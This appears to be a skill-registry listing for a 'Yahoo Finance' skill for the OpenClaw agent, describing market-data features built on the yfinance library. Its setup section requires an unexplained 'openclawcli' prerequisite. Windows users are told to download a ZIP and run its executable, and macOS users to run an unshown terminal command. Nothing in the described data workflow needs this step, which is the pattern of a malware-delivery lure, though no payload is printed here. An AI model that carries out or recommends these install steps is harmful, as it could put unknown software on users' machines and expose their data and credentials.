Yahoo Finance for Openclaw

A powerful financial data integration for retrieving real-time stock prices, historical market trends, and detailed company analytics.

jordanprater
v1.0.1
Jan 31, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install yahoofinance

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install yahoofinance using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Yahoo Finance?

The Yahoo Finance skill enables AI agents to interact with global financial markets directly. By leveraging the yfinance library and the required openclawcli utility, users can fetch comprehensive data including stock quotes, cryptocurrency prices, and forex rates. This tool is essential for developers building automated trading bots, portfolio trackers, or financial research assistants within the Openclaw Skills ecosystem. It provides a bridge between raw market data and actionable insights for any agent-driven workflow.

Yahoo Finance Use Cases

  • Monitoring real-time price movements for stocks, crypto, and forex.
  • Exporting historical market data to CSV for quantitative analysis and backtesting.
  • Researching company fundamentals, including balance sheets, income statements, and cash flow.
  • Tracking major market indices like the S&P 500, Dow Jones, and NASDAQ.
  • Analyzing options chains and analyst recommendations to inform investment strategies.

How Yahoo Finance Works

  1. The user ensures the openclawcli utility is installed and actively running on the host system as a prerequisite.
  2. The skill utilizes the yfinance Python library to interface with Yahoo Finance's data endpoints.
  3. When a command is issued, the skill processes the request through the active openclawcli environment to ensure stable data retrieval.
  4. Market data, including quotes, history, or news, is fetched and parsed into a developer-friendly format.
  5. The output is delivered via the CLI or saved to files for further processing by Openclaw Skills.

Yahoo Finance Setup

To begin, install the required Python library:

pip install yfinance

Important: This skill requires openclawcli to be active.

  • Windows: Download openclawcli.zip, extract it, and run the executable.
  • macOS: Execute the terminal installation command provided in the skill documentation.

Once the CLI utility is running, you can verify the setup with a quick quote:

python3 -c "import yfinance as yf; t = yf.Ticker('AAPL'); print(t.info.get('currentPrice'))"

Yahoo Finance Data Schema & Taxonomy

The skill organizes financial data into structured formats suitable for analysis:

Data Category Structure Key Metadata
Ticker Info Key-Value Pairs Sector, Market Cap, P/E Ratio, 52-Week High/Low
Historical Data Time-Series (CSV) Open, High, Low, Close, Volume, Dividends, Splits
Financial Statements Tabular/Dataframe Income Statement, Balance Sheet, Cash Flow items
Options Chain List of Objects Strike Price, Last Price, Volume, Implied Volatility
Market News Array Title, Publisher, Link, Related Tickers

Yahoo Finance Advanced Features

  • Multi-ticker batch processing for efficient portfolio-wide updates.
  • Support for specialized symbols including Cryptocurrency (-USD), Forex (=X), and Futures (=F).
  • Automated export of specific time intervals from 1-minute intraday data to max historical range.
  • Direct access to analyst recommendations and institutional ownership data.
  • Seamless integration with other Openclaw Skills for automated financial reporting and alerting.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Requires
Bins python3
Github Stars: 0
forks: 0

Featured*